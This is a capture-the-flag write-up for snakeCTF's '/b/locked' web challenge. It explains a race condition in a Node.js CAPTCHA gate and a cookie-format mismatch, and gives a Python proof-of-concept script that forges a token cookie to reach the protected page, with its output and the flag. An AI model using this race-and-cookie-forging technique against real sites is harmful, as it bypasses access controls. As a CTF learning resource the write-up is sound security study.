📦 Challenge source
📖 Introduction
/b/locked implements a custom CAPTCHA gate where you must solve 10 challenges in ≤10 seconds to view the protected page. The server-side flow introduces a race condition: validation and cleanup aren’t atomic, and the protected page only checks timestamps across tokens. By bursting concurrent /api/solve
requests, we can accumulate 10 valid tokens inside the window and pass the gate.
Context Explanation
-
Stack: Node.js/Express + SQLite; front-end EJS.
-
Goal: Get 10 verified “solve tokens” whose
solvedAt
fit within a 10-second window, then load/protected
. -
Security controls present:
crypto.timingSafeEqual
for solution comparison.- Per-solve tokens hashed with PBKDF2 (100k) + salt and verified server-side.
- Tokens expected in cookie.
- Time-window verification across token timestamps.
Key constants in index.js
:
const CAPTCHA_COUNT_REQUIRED = 10;
const TIME_LIMIT_SECONDS = 10;
Directive
Exploit the race by parallelizing solver requests to /api/solve
so that 10 tokens share a narrow solvedAt
span (≤10s), then craft the cookie and fetch /protected
.
🛠️ Solution
1) Surface & Data Flow (server code)
Generate challenge (/api/captcha
): solution is stored server-side.
// lib/captcha.js
return {
solution: fullText,
foreground: ...,
background: ...
};
// index.js
db.run("INSERT INTO captchas (id, solution, createdAt) VALUES (?, ?, ?)",
[captchaId, captchaData.solution, Date.now()]);
Solve challenge (/api/solve
): constant-time compare, token issuance, then row deletion (non-atomic chain).
// index.js
const solutionBuffer = Buffer.from(solution.toLowerCase());
const storedSolutionBuffer = Buffer.from(storedCaptcha.solution.toLowerCase());
const isCorrect = solutionBuffer.length === storedSolutionBuffer.length &&
crypto.timingSafeEqual(solutionBuffer, storedSolutionBuffer);
if (!isCorrect) return res.status(400).json({ success:false });
const solvedAt = Date.now(); // <-- timestamp captured BEFORE heavy PBKDF2
const token = crypto.randomBytes(16).toString('hex');
const salt = crypto.randomBytes(16).toString('hex');
const hash = await new Promise((resolve, reject) => {
crypto.pbdkf2(token, salt, 100000, 64, "sha512", (err, dk) => {
if (err) reject(err);
else resolve(dk.toString('hex'));
});
});
db.run("INSERT INTO validHashes (id, hash, salt, solvedAt, createdAt) VALUES (?, ?, ?, ?, ?)",
[token, hash, salt, solvedAt, Date.now()]);
// Cookie update (server writes JSON array)
let solvedCaptchas = [];
try { solvedCaptchas = JSON.parse(req.cookies.solvedCaptchas || '[]'); } catch(e) { solvedCaptchas = []; }
solvedCaptchas.push(token);
res.cookie('solvedCaptchas', JSON.stringify(solvedCaptchas), { httpOnly: true, secure: false });
// Cleanup happens AFTER validation/issuance
db.run("DELETE FROM captchas WHERE id = ?", [captchaId]);
Race window: multiple concurrent /api/solve
for the same captchaId
can pass validation before the row is deleted. Also, solvedAt
is captured before PBKDF2, keeping timestamps tight.
Protected page (/protected
): verifies 10 tokens and enforces the ≤10s window.
// index.js (cookie format inconsistency noted below)
let solvedCaptchas = req.cookies.solvedCaptchas.split(',').map(t => t.trim()); // <-- expects CSV here
...
db.get("SELECT hash, salt, solvedAt FROM validHashes WHERE id = ?", [token], ...);
// recompute PBKDF2(token, salt) and timingSafeEqual with stored hash
...
solvedTimes.sort((a,b) => a-b);
const timeElapsed = (solvedTimes[solvedTimes.length-1] - solvedTimes[0]) / 1000;
if (timeElapsed <= TIME_LIMIT_SECONDS) render flag;
Note the cookie mismatch:
/api/solve
writes JSON, but/protected
reads CSV. We’ll exploit this by forging the Cookie header with a comma-separated list of tokens.
2) Exploitation Strategy
We need 10 valid tokens with solvedAt
tightly clustered.
Two workable approaches:
A) True race on a single CAPTCHA (TOCTOU)
- Fetch one CAPTCHA and its solution.
- Fire ≥10 concurrent
POST /api/solve
with the same{captchaId, solution}
beforeDELETE FROM captchas
lands. - Each request issues a distinct token (and stores
solvedAt
near-identically). - Build a CSV cookie:
solvedCaptchas=token1,token2,...,token10
. GET /protected
→ flag.
This is the official solution proposed by the challenge author here: https://snakectf.org/writeups/2025-quals/web/blocked
B) Parallelize across multiple CAPTCHAs
- Pre-solve N captchas (or obtain their solutions), then submit all in parallel.
- Also yields ≤10s span across tokens thanks to concurrency.
PoC :
import requests
import json
import urllib.parse
BASE = "https://0501d746d5e0d28cf2ba5004bbd0f0bd.blocked.challs.snakectf.org/"
# Solve them manually without validating them and store the solution here
CAPTCHAS = {
"6de6162a9274b129823ba174" : "DCDRB2",
"647ae4bd013aadadb9f87528" : "42GVD8",
"269e7baedaeff2321a484d0f" : "UAS9G8",
"faef1cd97abdd8212820b70f" : "DCN6XE",
"a376c6e3f0d24d33ef985786" : "BTFMTS",
"710ef950f9ddee539a6c058b" : "HSNRGS",
"7a26b43dcb75da0d8122a9d7" : "7785P3",
"c8a032e00f036b2b4916e950" : "9Q5GX9",
"1809530bc3e9314ba902344b" : "23J6LS",
"146dbd4b2c08c69fdee7bcd7" : "5KXP9Q",
"ebee0e6a13d62cbe1b32b21f" : "SWDXVH",
"02b12fdfcadc0af1ee92aa7b" : "2X2DFN",
"43b0e0d636a402433c5dc586" : "76CPCD",
"715d1d17d8f2d5f07e60cfd5" : "EWFHQU",
"49c5c8d7008847205d40cf95" : "DVNDDX",
}
session = requests.Session()
all_tokens = []
# Solve all captchas and collect tokens
for cid, sol in CAPTCHAS.items():
print(f"[+] Solve {cid} with {sol}")
r = session.post(
f"{BASE}/api/solve",
json={"captchaId": cid, "solution": sol},
)
if "set-cookie" in r.headers and r.status_code == 200:
sc = r.headers["set-cookie"]
if sc.lower().startswith("solvedcaptchas="):
cookie_val = sc.split(";",1)[0].split("=",1)[1]
decoded = urllib.parse.unquote(cookie_val)
try:
arr = json.loads(decoded)
all_tokens = arr
except Exception as e:
print("Cookie parse error:", e)
print("\n[+] Tokens collected :", all_tokens)
csv_tokens = "solvedCaptchas=" + ",".join(all_tokens)
print("[+] Header solvedCaptchas :", csv_tokens)
# Access protected page
session.headers.update({'Cookie' : csv_tokens})
r = session.get(f"{BASE}/protected")
# Retrieve flag
print("\n[+] Protected page content:")
print(r.text)
# Output
[+] Solve 6de6162a9274b129823ba174 with DCDRB2
[+] Solve 647ae4bd013aadadb9f87528 with 42GVD8
[+] Solve 269e7baedaeff2321a484d0f with UAS9G8
[+] Solve faef1cd97abdd8212820b70f with DCN6XE
[+] Solve a376c6e3f0d24d33ef985786 with BTFMTS
[+] Solve 710ef950f9ddee539a6c058b with HSNRGS
[+] Solve 7a26b43dcb75da0d8122a9d7 with 7785P3
[+] Solve c8a032e00f036b2b4916e950 with 9Q5GX9
[+] Solve 1809530bc3e9314ba902344b with 23J6LS
[+] Solve 146dbd4b2c08c69fdee7bcd7 with 5KXP9Q
[+] Solve ebee0e6a13d62cbe1b32b21f with SWDXVH
[+] Solve 02b12fdfcadc0af1ee92aa7b with 2X2DFN
[+] Solve 43b0e0d636a402433c5dc586 with 76CPCD
[+] Solve 715d1d17d8f2d5f07e60cfd5 with EWFHQU
[+] Solve 49c5c8d7008847205d40cf95 with DVNDDX
[+] Tokens collected : ['611163829b6ec365d4ecb1861f138805', '5aa39ff94d2bf9c6def79e60f6e29cd1', 'a586b16a935b366d8a0499d692947e0a', 'b5238c6b61c1ae6d7afb9c0e5161ccb6', 'e0634c217e2c71591cc70ec3dfcfbcc6', '6b5542e2e4a9fbfcf7022e2d291ee161', '2518821767aa4fb35934bf8532256c48', 'b96262ae8713282c5005d60134a1ac5d', '004d683892b95bcbf2f8dbbef13c5b75', 'e91b33f4977148364ff83a48cda7a9d1', '6611d6657adea4ac9cfab1af038620eb', 'f398fffc2ee2555e8ae6af2655e0b4f1']
[+] Header solvedCaptchas : solvedCaptchas=611163829b6ec365d4ecb1861f138805,5aa39ff94d2bf9c6def79e60f6e29cd1,a586b16a935b366d8a0499d692947e0a,b5238c6b61c1ae6d7afb9c0e5161ccb6,e0634c217e2c71591cc70ec3dfcfbcc6,6b5542e2e4a9fbfcf7022e2d291ee161,2518821767aa4fb35934bf8532256c48,b96262ae8713282c5005d60134a1ac5d,004d683892b95bcbf2f8dbbef13c5b75,e91b33f4977148364ff83a48cda7a9d1,6611d6657adea4ac9cfab1af038620eb,f398fffc2ee2555e8ae6af2655e0b4f1
<style>
* {
color: #789922;
}
</style>
<pre>
> be me
> 19 year old NEET
> decide to try this CTF challenge
> sounds ez enough, just solve some captchas kek
> click start
> 10 captchas in 10 seconds
> wut.jpg
> first captcha looks like abstract art made by a toddler
> squint at screen like I\'m trying to decipher hieroglyphs
> type \"Q8XN2M\"
> wrong
> try \"08XN2M\"
> still wrong
> hyperfocus mode activated
> 9 captchas left, already 5 seconds gone
> frantically mashing refresh button
> sweating tendies
> timer hits zero
> youreoutoftime.exe
> stare at screen having a mental breakdown
> try again
> same result
> and again
> starting to question if I\'m actually human
> maybe I should just go back to /g/ and seethe about programming languages
> other anons probably solving this ez pz
> meanwhile I'm here getting absolutely rekt by squiggly lines
> mfw i realize i could have gone outside and touched grass instead of this
> mfw i realize a 6 year old could probably solve this faster than me
> mfw the flag is literally snakeCTF{4n0n_byp4553d_th3_f1lt3r_4543ad7fe7e2f82a}
> mfw there is a song for this challenge
> bleeding_ears.mp3
</pre>
<iframe
width="560"
height="315"
src="https://www.youtube.com/embed/Af8knRyzQpI?si=M9FPVFUX_feGo85-"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen
></iframe>